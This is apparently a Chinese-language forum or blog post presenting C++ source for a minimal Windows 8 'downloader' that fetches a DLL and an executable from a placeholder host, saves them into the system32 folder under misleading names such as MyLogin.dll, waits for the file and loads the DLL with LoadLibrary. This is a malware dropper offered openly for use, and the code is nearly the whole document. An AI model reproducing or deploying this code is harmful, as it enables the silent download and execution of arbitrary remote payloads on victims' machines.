最短代碼實現windows8下的下載器-下載安裝執行一體化

請見代碼

#include "stdafx.h"#include "windows.h"#include "UrlMon.h"#pragma comment(lib, "urlmon.lib")bool FileIsExist(LPCTSTR szFileFullPathName){WIN32_FIND_DATA Win32_Find_Data;       HANDLE hFindFile;         hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);         if(INVALID_HANDLE_VALUE == hFindFile)       {           //AfxMessageBox("Not Exist");           return false;       }       else      {           //AfxMessageBox("Have Exist");           FindClose(hFindFile);           return true;       }   }int main(int argc, char* argv[]){char DownURL[255] = "http://www.domain.com/test.dll";char DownLoadDir[255];char ExeURL[255] = "http://www.domain.com/test.exe";char ExeDir[255];GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));GetWindowsDirectory(ExeDir,sizeof(ExeDir));strcat(DownLoadDir,"\\system32\\DLLtest.dll");strcat(ExeDir,"\\system32\\MyLogin.dll");URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);Sleep(3000);URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);while(true){if(FileIsExist(DownLoadDir) == true)break;elseSleep(1000);}Sleep(3000);LoadLibrary(DownLoadDir);Sleep(10000);return 0;}